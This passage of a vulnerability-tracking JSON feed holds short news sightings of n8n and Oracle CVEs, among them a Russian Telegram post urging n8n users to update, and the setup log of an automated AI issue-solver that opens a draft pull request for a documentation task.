\u0432\u0435\u0431\u0445\u0443\u043a. \u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u043c.\n\ud83d\udd3b \u0418\u043c\u043f\u0430\u043a\u0442: n8n \u0447\u0430\u0441\u0442\u043e \u0445\u0440\u0430\u043d\u0438\u0442 \u043a\u043b\u044e\u0447\u0438 API \u043e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 (Slack, AWS, Google Drive, CRM). \u0417\u0430\u0445\u0432\u0430\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 = \u0443\u0442\u0435\u0447\u043a\u0430 \u0432\u0441\u0435\u0445 \u0432\u0430\u0448\u0438\u0445 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432.\n\n\u041a\u0442\u043e \u043f\u043e\u0434 \u0443\u0434\u0430\u0440\u043e\u043c:\n\u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 n8n \u0434\u043e 1.65.0 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e.\n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.121.0 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \u041f\u0430\u0442\u0447 \u0431\u044b\u043b \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u0435\u0449\u0435 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2025-\u0433\u043e, \u043d\u043e \u0434\u0435\u0442\u0430\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0439\u0447\u0430\u0441.\n\n\ud83d\udd17 \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430: https://xakep.ru/2026/01/12/ni8mare\n\n#\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 #n8n #RCE #Ni8mare\n\n\ud83d\udcf2 \u041c\u044b \u0432 MAX\n\n\ud83d\udc49@thehaking", "creation_timestamp": "2026-01-12T09:37:49.000000Z"}, {"uuid": "0ac0d471-b123-411e-9d0c-afb894bcd796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "Telegram/28Oa4n__7_eFN7np96Dl6h6hgu8IxV-Muu3Oeog9UrsUcvaT", "content": "", "creation_timestamp": "2026-01-27T09:07:49.000000Z"}, {"uuid": "5729282a-b4fb-4689-965a-595c65850a06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21962", "type": "seen", "source": "https://bsky.app/profile/planetbriefing.bsky.social/post/3mwk7io3vbc2m", "content": "CVE-2026-21962: Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in Improper Access Control Vulnerability\n\nAn improper access control\u2026\n\nhttps://planetbriefing.com/events/cve-2026-21962-oracle-http-server-and-oracle-weblogic-server-proxy-plug-in-impro-8bf346c0b9fc\n\n#Technology #UnitedStates", "creation_timestamp": "2026-09-28T01:55:46.398795Z"}, {"uuid": "be208aed-0575-477f-a676-06e71438682d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://gist.github.com/konard/b3c4293a314f6324353df44c1c82b73a", "content": "# Solve.mjs Log - 2026-09-29T07:42:17.581Z\n\n[2026-09-29T07:42:17.595Z] [INFO] \ud83d\udcc1 Log file: /home/box/solve-2026-09-29T07-42-17-580Z.log\n[2026-09-29T07:42:17.605Z] [INFO]    (All output will be logged here)\n[2026-09-29T07:42:20.675Z] [INFO] \n[2026-09-29T07:42:20.679Z] [INFO] \ud83d\ude80 solve v2.33.1\n[2026-09-29T07:42:20.680Z] [INFO] \ud83d\udd27 Raw command executed:\n[2026-09-29T07:42:20.682Z] [INFO]    /home/box/.nvm/versions/node/v24.21.0/bin/node /home/box/.bun/bin/solve https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646 --think high --tool claude --attach-logs --verbose --no-tool-check --disable-report-issue --language en\n[2026-09-29T07:42:20.684Z] [INFO] \n[2026-09-29T07:42:20.780Z] [INFO] \ud83e\udded Execution context: docker container (indicators: /.dockerenv) \u2014 per-task disk usage is scoped to this container.\n[2026-09-29T07:42:20.795Z] [INFO] \ud83d\udcc8 Resource usage (solve start):\n[2026-09-29T07:42:20.795Z] [INFO]    CPU load: 3.37 2.89 4.75 (6 CPUs)\n[2026-09-29T07:42:20.795Z] [INFO]    Memory: 9.4 GB available / 11.7 GB total (2.3 GB used)\n[2026-09-29T07:42:20.795Z] [INFO]    Process RSS: 113 MB, V8 heap: 29 MB used of 2.2 GB limit (1.3%)\n[2026-09-29T07:42:20.795Z] [INFO]    Disk (/): 103.1 GB available / 192.7 GB total (46.5% used)\n[2026-09-29T07:42:20.795Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=solve_start ts=2026-09-29T07%3A42%3A20.787Z load1=3.37 load5=2.89 load15=4.75 cpuCount=6 memTotalBytes=12541485056 memAvailableBytes=10087424000 memUsedBytes=2454061056 processRssBytes=118026240 processHeapUsedBytes=30865984 processHeapTotalBytes=58904576 processExternalBytes=4691355 processHeapLimitBytes=2348810240 processHeapUsedPercent=1.3141114371163505 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=110731517952 diskUsedBytes=96151986176 diskUsedPercent=46.47262224652763 mem=9.4%20GB%20available%20%2F%2011.7%20GB%20total heap=29%20MB%20used%20of%202.2%20GB%20limit%20(1.3%25) disk=103.1%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-09-29T07:42:20.802Z] [INFO] \n[2026-09-29T07:42:20.807Z] [WARNING] \u26a0\ufe0f  SECURITY WARNING: --attach-logs is ENABLED\n[2026-09-29T07:42:20.811Z] [INFO] \n[2026-09-29T07:42:20.816Z] [INFO]    This option will upload the complete solution draft log file to the Pull Request.\n[2026-09-29T07:42:20.822Z] [INFO]    The log may contain sensitive information such as:\n[2026-09-29T07:42:20.829Z] [INFO]    \u2022 API keys, tokens, or secrets\n[2026-09-29T07:42:20.832Z] [INFO]    \u2022 File paths and directory structures\n[2026-09-29T07:42:20.838Z] [INFO]    \u2022 Command outputs and error messages\n[2026-09-29T07:42:20.841Z] [INFO]    \u2022 Internal system information\n[2026-09-29T07:42:20.844Z] [INFO] \n[2026-09-29T07:42:20.846Z] [INFO]    \u26a0\ufe0f  DO NOT use this option with public repositories or if the log\n[2026-09-29T07:42:20.848Z] [INFO]        might contain sensitive data that should not be shared publicly.\n[2026-09-29T07:42:20.850Z] [INFO] \n[2026-09-29T07:42:20.852Z] [INFO]    Continuing in 5 seconds... (Press Ctrl+C to abort)\n[2026-09-29T07:42:20.854Z] [INFO] \n[2026-09-29T07:42:21.859Z] [STDOUT]    Countdown: 5 seconds remaining...\n[2026-09-29T07:42:22.862Z] [STDOUT]    Countdown: 4 seconds remaining...\n[2026-09-29T07:42:23.866Z] [STDOUT]    Countdown: 3 seconds remaining...\n[2026-09-29T07:42:24.873Z] [STDOUT]    Countdown: 2 seconds remaining...\n[2026-09-29T07:42:25.874Z] [STDOUT]    Countdown: 1 seconds remaining...\n   Proceeding with log attachment enabled.                    \n[2026-09-29T07:42:25.875Z] [INFO] \n[2026-09-29T07:42:25.971Z] [STDERR] [use-m] use('command-stream') joined an in-flight load (alias command-stream-v-latest)\n[2026-09-29T07:42:26.975Z] [INFO] \u2b06\ufe0f Updating claude 2.1.283 \u2192 2.1.284\n[2026-09-29T07:42:41.052Z] [INFO] \u2705 Agentic CLIs updated while idle: claude 2.1.283\u21922.1.284\n[2026-09-29T07:42:41.056Z] [INFO] [VERBOSE] agentic-cli-updater: 1 updated, 0 current, 0 failed\n[2026-09-29T07:42:41.058Z] [VERBOSE] [VERBOSE] agentic-cli-updater: 1 updated, 0 current, 0 failed\n[2026-09-29T07:42:41.062Z] [INFO] \ud83d\udd04 \u2b06\ufe0f Updated claude 2.1.283 \u2192 2.1.284\n[2026-09-29T07:42:41.094Z] [INFO] \ud83d\udcbe Disk space check: 105366MB available (10240MB required) \u2705\n[2026-09-29T07:42:41.101Z] [INFO] \ud83e\udde0 Memory check: 9992MB available, swap: 4095MB (1040MB used), total: 13047MB (256MB required) \u2705\n[2026-09-29T07:42:41.164Z] [INFO] \u23e9 Skipping tool connection validation (dry-run mode or skip-tool-connection-check enabled)\n[2026-09-29T07:42:41.169Z] [INFO] \u23e9 Skipping GitHub authentication check (dry-run mode or skip-tool-connection-check enabled)\n[2026-09-29T07:42:41.189Z] [INFO] \ud83d\udd0d agent-config-audit: inspected global claude configuration under /home/box (0 findings)\n[2026-09-29T07:42:41.193Z] [INFO] \ud83c\udfad Checking Playwright MCP preflight for Claude Code...\n[2026-09-29T07:42:42.027Z] [STDOUT] Checking MCP server health\u2026\n\n[2026-09-29T07:42:48.788Z] [STDOUT] claude.ai Claude Docs: https://api.anthropic.com/v1/pages/mcp - \u2714 Connected\n[2026-09-29T07:42:48.790Z] [STDOUT] playwright: npx -y @playwright/mcp@latest --isolated --headless --no-sandbox --timeout-action=600000 --viewport-size 1920x1080 - \u2714 Connected\n[2026-09-29T07:42:49.495Z] [INFO] \ud83c\udfad Playwright MCP probe: 'mcp list' exit=0, playwright rows=1 [playwright: npx -y @playwright/mcp@latest --isolated --headless --no-sandbox --timeout-action=600000 --viewport-size 1920x1080 - \u2714 Connected]\n[2026-09-29T07:42:49.498Z] [INFO] \ud83c\udfad Playwright MCP reported as connected by mcp list\n[2026-09-29T07:42:49.500Z] [INFO] \ud83c\udfad Playwright MCP ready for Claude Code\n[2026-09-29T07:42:49.503Z] [INFO] \ud83d\udccb URL validation:\n[2026-09-29T07:42:49.510Z] [INFO]    Input URL: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:42:49.514Z] [INFO]    Is Issue URL: true\n[2026-09-29T07:42:49.517Z] [INFO]    Is PR URL: false\n[2026-09-29T07:42:49.520Z] [INFO] \ud83d\udd0d --auto-accept-invite: Checking for pending invitation to G-Ivan-A/hybrid-Intelligence-lab...\n[2026-09-29T07:42:50.020Z] [INFO]    Found 6 total pending repo invitation(s)\n[2026-09-29T07:42:50.025Z] [INFO]    No pending repository invitation found for G-Ivan-A/hybrid-Intelligence-lab\n[2026-09-29T07:42:50.574Z] [INFO]    Found 0 total pending org invitation(s)\n[2026-09-29T07:42:50.577Z] [INFO]    No pending organization invitation found for G-Ivan-A\n[2026-09-29T07:42:50.580Z] [INFO] \u2139\ufe0f  --auto-accept-invite: No pending invitation found for G-Ivan-A/hybrid-Intelligence-lab or organization G-Ivan-A\n[2026-09-29T07:42:50.584Z] [INFO] \ud83d\udd0d Checking repository access for auto-fork...\n[2026-09-29T07:42:51.133Z] [STDOUT] {\"admin\":false,\"maintain\":false,\"pull\":true,\"push\":true,\"triage\":true}\n[2026-09-29T07:42:51.642Z] [INFO]    Repository visibility: public\n[2026-09-29T07:42:51.647Z] [INFO] \u2705 Auto-fork: Write access detected to public repository, working directly on repository\n[2026-09-29T07:42:51.655Z] [INFO] \ud83d\udd0d Checking repository write permissions...\n[2026-09-29T07:42:52.198Z] [STDOUT] {\"admin\":false,\"maintain\":false,\"pull\":true,\"push\":true,\"triage\":true}\n[2026-09-29T07:42:52.208Z] [INFO] \u2705 Repository write access: Confirmed\n[2026-09-29T07:42:52.684Z] [STDOUT] G-Ivan-A\n[2026-09-29T07:42:54.309Z] [INFO]    Repository visibility: public\n[2026-09-29T07:42:54.314Z] [INFO]    Auto-cleanup default: false (repository is public)\n[2026-09-29T07:42:54.320Z] [INFO] \ud83d\udd0d Auto-continue enabled: Checking for existing PRs for issue #646...\n[2026-09-29T07:42:54.325Z] [INFO] \ud83d\udd0d Checking for existing branches in G-Ivan-A/hybrid-Intelligence-lab...\n[2026-09-29T07:42:56.154Z] [STDOUT] []\n[2026-09-29T07:42:56.897Z] [STDOUT] []\n[2026-09-29T07:42:56.907Z] [INFO] \ud83d\udcdd No existing PRs found for issue #646 - creating new PR\n[2026-09-29T07:42:56.911Z] [INFO] \ud83d\udcdd Issue mode: Working with issue #646\n[2026-09-29T07:42:56.922Z] [INFO] \n[2026-09-29T07:42:56.922Z] [INFO] Creating temporary directory: /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:42:57.093Z] [INFO] \ud83d\udd10 Authenticated git transport enabled for github.com (token source: gh auth token) - repository setup\n[2026-09-29T07:42:57.101Z] [INFO] \n[2026-09-29T07:42:57.101Z] [INFO] \ud83d\udce5 Cloning repository:       G-Ivan-A/hybrid-Intelligence-lab\n[2026-09-29T07:42:57.669Z] [STDOUT] Cloning into '/tmp/gh-issue-solver-1790667776920'...\n[2026-09-29T07:43:00.774Z] [STDOUT] true\n[2026-09-29T07:43:00.776Z] [INFO] \u2705 Cloned to:                /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:00.791Z] [INFO] \ud83e\uddf9 Ignoring AI tool scratch directories in this workspace: .formal-ai/, .playwright-mcp/\n[2026-09-29T07:43:00.817Z] [STDOUT] origin\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab.git (fetch)\norigin\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab.git (push)\n[2026-09-29T07:43:01.003Z] [INFO] \u2139\ufe0f  gh auth setup-git could not write the global gitconfig: failed to set up git credential helper: failed to run git: error: could not write config file /home/box/.gitconfig: Device or resource busy\n[2026-09-29T07:43:01.060Z] [INFO] \ud83d\udd11 Configured the gh credential helper for this clone (the global gitconfig is not writable)\n[2026-09-29T07:43:01.088Z] [INFO] \n[2026-09-29T07:43:01.088Z] [INFO] \ud83d\udcca [DISK] phase=after_clone bytes=30809766 path=/tmp/gh-issue-solver-1790667776920 size=29 MB\n[2026-09-29T07:43:01.114Z] [INFO] \ud83d\udcc8 Resource usage (after repository clone):\n[2026-09-29T07:43:01.114Z] [INFO]    CPU load: 3.71 3.06 4.72 (6 CPUs)\n[2026-09-29T07:43:01.114Z] [INFO]    Memory: 9.4 GB available / 11.7 GB total (2.3 GB used)\n[2026-09-29T07:43:01.114Z] [INFO]    Process RSS: 131 MB, V8 heap: 26 MB used of 2.2 GB limit (1.2%)\n[2026-09-29T07:43:01.114Z] [INFO]    Disk (/): 102.8 GB available / 192.7 GB total (46.6% used)\n[2026-09-29T07:43:01.114Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=after_clone ts=2026-09-29T07%3A43%3A01.101Z load1=3.71 load5=3.06 load15=4.72 cpuCount=6 memTotalBytes=12541485056 memAvailableBytes=10089414656 memUsedBytes=2452070400 processRssBytes=137424896 processHeapUsedBytes=27513600 processHeapTotalBytes=43073536 processExternalBytes=4769502 processHeapLimitBytes=2348810240 processHeapUsedPercent=1.171384538922991 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=110389620736 diskUsedBytes=96493883392 diskUsedPercent=46.63786958876374 mem=9.4%20GB%20available%20%2F%2011.7%20GB%20total heap=26%20MB%20used%20of%202.2%20GB%20limit%20(1.2%25) disk=102.8%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-09-29T07:43:01.146Z] [STDOUT] main\n[2026-09-29T07:43:01.178Z] [INFO] \n[2026-09-29T07:43:01.178Z] [INFO] \ud83d\udccc Default branch:           main\n[2026-09-29T07:43:01.333Z] [INFO] \n[2026-09-29T07:43:01.333Z] [INFO] \ud83c\udf3f Creating branch:          issue-646-497e337ac092 from main (default)\n[2026-09-29T07:43:01.380Z] [STDERR] Switched to a new branch 'issue-646-497e337ac092'\n[2026-09-29T07:43:01.381Z] [STDOUT] branch 'issue-646-497e337ac092' set up to track 'origin/main'.\n[2026-09-29T07:43:01.383Z] [INFO] \ud83d\udd0d Verifying:                Branch creation...\n[2026-09-29T07:43:01.411Z] [INFO] \u2705 Branch created:           issue-646-497e337ac092\n[2026-09-29T07:43:01.414Z] [INFO] \u2705 Current branch:           issue-646-497e337ac092\n[2026-09-29T07:43:01.419Z] [INFO]    Branch operation: Create new branch\n[2026-09-29T07:43:01.423Z] [INFO]    Branch verification: Matches expected\n[2026-09-29T07:43:01.435Z] [INFO] \n[2026-09-29T07:43:01.435Z] [INFO] \ud83d\ude80 Auto PR creation:         ENABLED\n[2026-09-29T07:43:01.439Z] [INFO]      Creating:               Initial commit and draft PR...\n[2026-09-29T07:43:01.449Z] [INFO] \n[2026-09-29T07:43:01.453Z] [INFO]    Using .gitkeep mode (--claude-file=false, --gitkeep-file=true, --auto-gitkeep-file=true)\n[2026-09-29T07:43:01.458Z] [INFO] \ud83d\udcdd Creating:                 .gitkeep (default)\n[2026-09-29T07:43:01.462Z] [INFO]    Issue URL from argv['issue-url']: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:43:01.465Z] [INFO]    Issue URL from argv._[0]: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:43:01.469Z] [INFO]    Final issue URL: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:43:01.475Z] [INFO] \u2705 File created:             .gitkeep\n[2026-09-29T07:43:01.478Z] [INFO] \ud83d\udce6 Adding file:              To git staging\n[2026-09-29T07:43:01.552Z] [STDOUT] A  .gitkeep\n[2026-09-29T07:43:01.553Z] [INFO]    Git status after add: A  .gitkeep\n[2026-09-29T07:43:01.558Z] [INFO] \ud83d\udcdd Creating commit:          With .gitkeep file\n[2026-09-29T07:43:01.605Z] [STDOUT] [issue-646-497e337ac092 611336a] Initial commit with task details\n 1 file changed, 1 insertion(+)\n create mode 100644 .gitkeep\n[2026-09-29T07:43:01.607Z] [INFO] \u2705 Commit created:           Successfully with .gitkeep\n[2026-09-29T07:43:01.612Z] [INFO]    Commit output: [issue-646-497e337ac092 611336a] Initial commit with task details\n[2026-09-29T07:43:01.612Z] [INFO]  1 file changed, 1 insertion(+)\n[2026-09-29T07:43:01.612Z] [INFO]  create mode 100644 .gitkeep\n[2026-09-29T07:43:01.646Z] [INFO]    Commit hash: 611336a...\n[2026-09-29T07:43:01.705Z] [STDOUT] 611336a Initial commit with task details\n[2026-09-29T07:43:01.722Z] [INFO]    Latest commit: 611336a Initial commit with task details\n[2026-09-29T07:43:01.817Z] [INFO]    Git status: clean\n[2026-09-29T07:43:01.857Z] [STDOUT] origin\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab.git (fetch)\norigin\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab.git (push)\n[2026-09-29T07:43:01.865Z] [INFO]    Remotes: origin\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab.git (fetch)\n[2026-09-29T07:43:01.912Z] [STDOUT] * issue-646-497e337ac092 611336a [origin/main: ahead 1] Initial commit with task details\n  main                   ecb1d94 [origin/main] Merge pull request #641 from G-Ivan-A/issue-638-dea7773c503b\n[2026-09-29T07:43:01.914Z] [INFO]    Branch info: * issue-646-497e337ac092 611336a [origin/main: ahead 1] Initial commit with task details\n[2026-09-29T07:43:01.914Z] [INFO]   main                   ecb1d94 [origin/main] Merge pull request #641 from G-Ivan-A/issue-638-dea7773c503b\n[2026-09-29T07:43:01.928Z] [INFO] \ud83d\udce4 Pushing branch:           To remote repository...\n[2026-09-29T07:43:01.938Z] [INFO]    Push command: git push -u origin issue-646-497e337ac092\n[2026-09-29T07:43:04.071Z] [STDOUT] remote: \nremote: Create a pull request for 'issue-646-497e337ac092' on GitHub by visiting:        \n[2026-09-29T07:43:04.075Z] [STDOUT] remote:      https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/new/issue-646-497e337ac092        \nremote: \nTo https://github.com/G-Ivan-A/hybrid-Intelligence-lab.git\n * [new branch]      issue-646-497e337ac092 -> issue-646-497e337ac092\n[2026-09-29T07:43:04.116Z] [STDOUT] branch 'issue-646-497e337ac092' set up to track 'origin/issue-646-497e337ac092'.\n[2026-09-29T07:43:04.180Z] [INFO]    Push exit code: 0\n[2026-09-29T07:43:04.191Z] [INFO]    Push output: remote: \n[2026-09-29T07:43:04.191Z] [INFO] remote: Create a pull request for 'issue-646-497e337ac092' on GitHub by visiting:        \n[2026-09-29T07:43:04.191Z] [INFO] remote:      https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/new/issue-646-497e337ac092        \n[2026-09-29T07:43:04.191Z] [INFO] remote: \n[2026-09-29T07:43:04.191Z] [INFO] To https://github.com/G-Ivan-A/hybrid-Intelligence-lab.git\n[2026-09-29T07:43:04.191Z] [INFO]  * [new branch]      issue-646-497e337ac092 -> issue-646-497e337ac092\n[2026-09-29T07:43:04.191Z] [INFO] branch 'issue-646-497e337ac092' set up to track 'origin/issue-646-497e337ac092'.\n[2026-09-29T07:43:04.197Z] [INFO] \u2705 Branch pushed:            Successfully to remote\n[2026-09-29T07:43:04.209Z] [INFO]    Push output: remote: \n[2026-09-29T07:43:04.209Z] [INFO] remote: Create a pull request for 'issue-646-497e337ac092' on GitHub by visiting:        \n[2026-09-29T07:43:04.209Z] [INFO] remote:      https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/new/issue-646-497e337ac092        \n[2026-09-29T07:43:04.209Z] [INFO] remote: \n[2026-09-29T07:43:04.209Z] [INFO] To https://github.com/G-Ivan-A/hybrid-Intelligence-lab.git\n[2026-09-29T07:43:04.209Z] [INFO]  * [new branch]      issue-646-497e337ac092 -> issue-646-497e337ac092\n[2026-09-29T07:43:04.209Z] [INFO] branch 'issue-646-497e337ac092' set up to track 'origin/issue-646-497e337ac092'.\n[2026-09-29T07:43:04.214Z] [INFO]    Waiting for GitHub to sync...\n[2026-09-29T07:43:06.960Z] [STDOUT] 1\n[2026-09-29T07:43:06.969Z] [INFO]    Compare API check: 1 commit(s) ahead of main\n[2026-09-29T07:43:06.972Z] [INFO]    GitHub compare API ready: 1 commit(s) found\n[2026-09-29T07:43:07.466Z] [INFO]    Branch verified on GitHub: issue-646-497e337ac092\n[2026-09-29T07:43:07.915Z] [INFO]    Remote commit SHA: 611336a...\n[2026-09-29T07:43:07.920Z] [INFO] \ud83d\udccb Getting issue:            Title from GitHub...\n[2026-09-29T07:43:08.425Z] [STDOUT] title: \"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\"\n[2026-09-29T07:43:08.433Z] [INFO]    Issue title: \"title: \"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\"\"\n[2026-09-29T07:43:08.439Z] [INFO] \ud83d\udc64 Getting user:             Current GitHub account...\n[2026-09-29T07:43:08.915Z] [STDOUT] konard\n[2026-09-29T07:43:08.925Z] [INFO]    Current user: konard\n[2026-09-29T07:43:09.454Z] [INFO]    User has collaborator access\n[2026-09-29T07:43:09.459Z] [INFO]    User has collaborator access\n[2026-09-29T07:43:09.463Z] [INFO] \ud83d\udd04 Fetching:                 Latest main branch...\n[2026-09-29T07:43:09.991Z] [INFO] \u2705 Base updated:             Fetched latest main\n[2026-09-29T07:43:09.994Z] [INFO] \ud83d\udd0d Checking:                 Commits between branches...\n[2026-09-29T07:43:10.023Z] [STDOUT] 1\n[2026-09-29T07:43:10.027Z] [INFO]    Commits ahead of origin/main: 1\n[2026-09-29T07:43:10.033Z] [INFO] \u2705 Commits found:            1 commit(s) ahead\n[2026-09-29T07:43:10.041Z] [INFO] \ud83d\udd00 Creating PR:              Draft pull request...\n[2026-09-29T07:43:10.044Z] [INFO] \ud83c\udfaf Target branch:            main (default)\n[2026-09-29T07:43:10.048Z] [INFO]    PR Title: [WIP] title: \"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\"\n[2026-09-29T07:43:10.050Z] [INFO]    Base branch: main\n[2026-09-29T07:43:10.054Z] [INFO]    Head branch: issue-646-497e337ac092\n[2026-09-29T07:43:10.057Z] [INFO]    Assignee: konard\n[2026-09-29T07:43:10.061Z] [INFO]    PR Body:\n[2026-09-29T07:43:10.061Z] [INFO] ## \ud83e\udd16 AI-Powered Solution Draft\n[2026-09-29T07:43:10.061Z] [INFO] \n[2026-09-29T07:43:10.061Z] [INFO] This pull request is being automatically generated to solve issue #646.\n[2026-09-29T07:43:10.061Z] [INFO] \n[2026-09-29T07:43:10.061Z] [INFO] ### \ud83d\udccb Issue Reference\n[2026-09-29T07:43:10.061Z] [INFO] Fixes #646\n[2026-09-29T07:43:10.061Z] [INFO] \n[2026-09-29T07:43:10.061Z] [INFO] ### \ud83d\udea7 Status\n[2026-09-29T07:43:10.061Z] [INFO] **Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\n[2026-09-29T07:43:10.061Z] [INFO] \n[2026-09-29T07:43:10.061Z] [INFO] ### \ud83d\udcdd Implementation Details\n[2026-09-29T07:43:10.061Z] [INFO] _Details will be added as the solution draft is developed..._\n[2026-09-29T07:43:10.061Z] [INFO] \n[2026-09-29T07:43:10.061Z] [INFO] ---\n[2026-09-29T07:43:10.061Z] [INFO] *This PR was created automatically by the AI issue solver*\n[2026-09-29T07:43:10.074Z] [STDERR] [use-m] use('command-stream') joined an in-flight load (alias command-stream-v-latest)\n[2026-09-29T07:43:10.746Z] [INFO]    Command: cd \"/tmp/gh-issue-solver-1790667776920\" && gh pr create --draft --title \"$(cat '/tmp/pr-title-1790667790734.txt')\" --body-file \"/tmp/pr-body-1790667790066.md\" --base main --head issue-646-497e337ac092 --repo G-Ivan-A/hybrid-Intelligence-lab --assignee konard\n[2026-09-29T07:43:14.216Z] [INFO]    gh pr create stdout: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T07:43:14.221Z] [INFO] \ud83d\udd0d Verifying:                PR creation...\n[2026-09-29T07:43:16.757Z] [STDOUT] {\"number\":648,\"state\":\"OPEN\",\"url\":\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\"}\n[2026-09-29T07:43:16.770Z] [INFO] \u2705 Verification:             PR exists on GitHub (attempt 1/5)\n[2026-09-29T07:43:16.773Z] [INFO] \u2705 PR created:               #648\n[2026-09-29T07:43:16.777Z] [INFO] \ud83d\udccd PR URL:                   https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T07:43:16.780Z] [INFO] \ud83d\udc64 Assigned to:              konard\n[2026-09-29T07:43:16.784Z] [INFO] \ud83d\udd17 Linking:                  Issue #646 to PR #648...\n[2026-09-29T07:43:17.280Z] [INFO]    Issue node ID: I_kwDOQvNwgs8AAAABT1lzyQ\n[2026-09-29T07:43:17.940Z] [INFO]    PR node ID: PR_kwDOQvNwgs8AAAABFpn7jg\n[2026-09-29T07:43:18.517Z] [INFO] \n[2026-09-29T07:43:18.520Z] [WARNING] \u26a0\ufe0f ISSUE LINK MISSING:       PR not linked to issue\n[2026-09-29T07:43:18.523Z] [INFO] \n[2026-09-29T07:43:18.526Z] [WARNING]    The PR wasn't linked to issue #646\n[2026-09-29T07:43:18.530Z] [WARNING]    Expected: \"Fixes #646\" in PR body\n[2026-09-29T07:43:18.534Z] [INFO] \n[2026-09-29T07:43:18.537Z] [WARNING]    To fix manually:\n[2026-09-29T07:43:18.542Z] [WARNING]    1. Edit the PR description at: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T07:43:18.545Z] [WARNING]    2. Ensure it contains: Fixes #646\n[2026-09-29T07:43:18.547Z] [INFO] \n[2026-09-29T07:43:19.156Z] [INFO]   \ud83d\udc64 